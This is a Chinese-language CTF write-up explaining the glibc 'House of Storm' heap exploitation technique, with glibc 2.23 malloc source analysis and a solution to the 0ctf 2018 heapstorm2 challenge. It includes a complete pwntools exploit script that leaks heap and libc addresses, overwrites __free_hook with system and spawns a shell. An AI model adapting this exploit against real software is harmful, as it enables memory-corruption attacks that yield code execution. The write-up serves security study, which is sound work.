说在前面
- 适用范围:
libc2.30以下 - 是一款组合技,利用开启了
PIE的x64程序的堆地址总是0x55xxxx...或者0x56xxxx...开头这一特性,使用一次largebin attack写两个堆地址,使用一次unsortedbin attack写一次libc地址,可以实现任意地址分配。虽然house of storm最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。这种利用技巧和思路还是很值得学习的。
源码分析
以下是libc2.23 malloc.c源码片段,当分配一个堆块时会先从fastbin,smallbin中,若没有合适堆块,依次遍历unsorted bin,对大小不合适的堆块会从unsoredbin移入smallbin或largebin中,参见下述代码。
/* place chunk in bin */if (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else{victim_index = largebin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;/* maintain large bins in sorted order */if (fwd != bck){/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else{assert (chunk_main_arena (fwd));while ((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert (chunk_main_arena (fwd));}if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position. */fwd = fwd->fd;else{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;}mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;
关键代码
......victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}......mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;
利用手法
变量说明
- 把要从
unsortedbin放入largebin的chunk称作chunk_A,也就是关键代码中的victim fwd是当前largebin链表中第一个大小不大于chunk_A的,下面称为chunk_B
Large bin attack
- 修改
chunk_B->bk=addr1-0x10 - 修改
chunk_B->bk_nextsize=addr2-0x20、
带入上述代码进行计算,最终效果就是
addr1=chunk_Aaddr2=chunk_A
即addr1,addr2都被赋值为chunk_B header地址,是个很大的数,效果类似于unsorted bin attack
House of storm
攻击姿势:
- 假设需要攻击的地址是
fake_chunk=addr-0x20 - 修改
chunk_A->bk=fake_chunk - 修改`chunk_B->bk=fake_chunk-0x18
- 修改`chunk_B->bk_nextsize=fake_chunk-0x20+0x3
此时当我们申请一个0x50的堆块,unsorted bin的那个堆块会被放入large bin中, 达到的效果:
......victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;//chunk_A->fd_nextsize=chunk_B;//chunk_A->bk_nextsize=addr-0x20-0x20+0x3//addr-0x20-0x20+0x3=chunk_A//addr-0x20-0x20+0x3+0x20=addr-0x20+0x3 = chunk_B}bck = fwd->bk;//bck=addr-0x18}}......mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;//addr-0x18=bck;//chunk_B->fd=chunk_A;//addr=chunk_A;//addr-0x18+0x10=addr-0x8=chunk_A;
- unsortedbin attack
addr-0x10被写入main_arena+88(在此攻击手段中用处不大)
- largebin attack
addr-0x8,addr-0x20+0x3被写入chunk_A的地址
最终addr-0x18处被写入了0x55或0x56,相当于伪造了size,申请0x50的堆块即位于addr-0x20处,此时需要访问到fake chunk的bk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large bin的bk的目的。
最后需要说明的是,当开了地址随机化ASLR之后,堆块的地址最高位只可能是0x55或0x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:
assert(!victim || chunk_is_mmapped(mem2chunk(victim))|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
过上述检测需要满足以下一条即可:
victim为 0 (没有申请到内存)IS_MMAPPED为 1 (是mmap的内存)NON_MAIN_ARENA为 0 (申请到的内存必须在其所分配的arena中)
而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2,#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。
值得一提的是,由于addr-0x8被写入了chunk_A地址,因此最终在fake chunk被返还给用户后,unsorted bin中仍有chunk_A地址所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88。
例题
- 题目来源:
buu-0ctf_2018_heapstorm2 libc2.23
代码分析
题目开了全保护,审计代码,有add,edit,show,delete函数,存储chunk 指针和size的数组用一组随机数异或存储,
__int64 my_init()
{__int64 v0; // raxint i; // [rsp+8h] [rbp-18h]int fd; // [rsp+Ch] [rbp-14h]setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);alarm(0x3Cu);puts(" __ __ _____________ __ __ ___ ____\n"" / //_// ____/ ____/ | / / / / / | / __ )\n"" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n""/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");puts("===== HEAP STORM II =====");if ( !mallopt(1, 0) )exit(-1);if ( mmap((void *)0x13370000, 0x1000u, 3, 34, -1, 0) != (void *)322371584 )exit(-1);fd = open("/dev/urandom", 0);if ( fd < 0 )exit(-1);if ( read(fd, (void *)0x13370800, 0x18u) != 24 )exit(-1);close(fd);MEMORY[0x13370818] = MEMORY[0x13370810];for ( i = 0; i <= 15; ++i ){*(_QWORD *)(16 * (i + 2LL) + 0x13370800) = xor_ptr(0x13370800, 0);xor_size(0x13370800, 0);*(_QWORD *)(16 * (i + 2LL) + 0x13370808) = v0;}return 0x13370800;
}
以上我们可知,数组地址是绝对地址0x13370800,0x13370818与0x13370810初始值相同
继续审计,发现漏洞在update函数里
strcpy((char *)(size + v6), "HEAPSTORM_II");
off bu null
在view函数里有一个检查
if ( (*(_QWORD *)(a1 + 24) ^ *(_QWORD *)(a1 + 16)) != 322401073 )return puts("Permission denied");
我们要修改0x13370818与0x13370810这两处的值
利用思路
以下是个逆向的思路
- 可以修改
free_hook为system- 泄露
libc地址view函数泄露- 修改
0x13370818与0x13370810这两处的值
- 修改
- 把
free_hook函数连接到记录chunk的数组中
- 泄露
- 在
0x13370800附近构造一个fake_chunk,即可实现上述目的 - 利用两次
off by null构造unsorted bin attack和large bin attack,构造一个fake_chunk
exp:
from pwn import *context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./0ctf_2018_heapstorm2')
libc = ELF('/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def alloc(size):p.sendlineafter(b'Command: ', b'1')p.sendlineafter(b'Size: ', str(size).encode())def update(idx, size, contnt):p.sendlineafter(b'Command: ', b'2')p.sendlineafter(b'Index: ', str(idx).encode())p.sendlineafter(b'Size: ', str(size).encode())p.sendafter(b'Content: ', contnt)def delete(idx):p.sendlineafter(b'Command: ', b'3')p.sendlineafter(b'Index: ', str(idx).encode())def view(idx):p.sendlineafter(b'Command: ', b'4')p.sendlineafter(b'Index: ', str(idx).encode())while True:p=process('./0ctf_2018_heapstorm2')addr = 0x13370800alloc(0x18)#0alloc(0x508)#1alloc(0x18)#2alloc(0x18)#3alloc(0x508)#4 0x555555a01570alloc(0x18)#5alloc(0x18)#6update(1,0x4f8,b'a'*0x4f0+p64(0x500))delete(1)update(0,0x18-12,b'a'*(0x18-12))alloc(0x18)#1alloc(0x4d8)#7# alloc(0x18)#8delete(1)delete(2)# alloc(0x18)#1# alloc(0x1000)#2alloc(0x38) #1alloc(0x4e8) #2 # #largebin_attackupdate(4,0x4f8,b'a'*0x4f0+p64(0x500))delete(4)update(3,0x18-12,b'a'*(0x18-12))alloc(0x18)#4alloc(0x4d8)#8# alloc(0x18)#5delete(4)delete(5) alloc(0x48)delete(2)alloc(0x4e8)#2delete(2)fake_chunk = addr-0x20pal1 = p64(0) * 2 + p64(0) + p64(0x4f1)pal1 += p64(0) + p64(fake_chunk)pal2 = p64(0) * 4 + p64(0) + p64(0x4e1)pal2 += p64(0) + p64(fake_chunk+0x8)pal2 += p64(0) + p64(fake_chunk-0x18-5)update(7, len(pal1), pal1)update(8, len(pal2), pal2)try:alloc(0x48)#2pal3 = p64(0) * 5 + p64(0x13377331) + p64(addr)update(2, len(pal3), pal3)pal4=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)pal4+=p64(0x133707e3)+p64(0x8)update(0,len(pal4),pal4)except:p.close()continueview(1)p.recvuntil(b'Chunk[1]: ')heap=u64(p.recv(6).ljust(8,b'\x00'))log.info('heap:'+hex(heap))pal5=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)pal5+=p64(heap+0x10)+p64(0x8)update(0,len(pal5),pal5)view(1)p.recvuntil(b'Chunk[1]: ')libc_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78log.info('libc_addr:'+hex(libc_addr))free_hook=libc_addr+libc.symbols['__free_hook']system=libc_addr+libc.symbols['system']log.info('free_hook:'+hex(free_hook))log.info('system:'+hex(system))pal6=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)pal6+=p64(free_hook)+p64(0x8)+p64(heap+0x560+0x10)+p64(0x8)update(0,len(pal6),pal6)bin_sh=b'/bin/sh\x00'update(2,len(bin_sh),bin_sh)pal7=p64(system)update(1,len(pal7),pal7)# pal7=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)# pal7+=p64(free_hook)+p64(0x8)+p64(heap+0x560)+p64(0x4e1)# update(0,len(pal7),pal7)delete(2)# gdb.attach(p)p.interactive()break
参考文章
https://bbs.kanxue.com/thread-272098-1.htm#msg_header_h3_12
https://fu9-dotom.github.io/p/house-of-stormbuu-0ctf_2018_heapstorm2/#利用思路
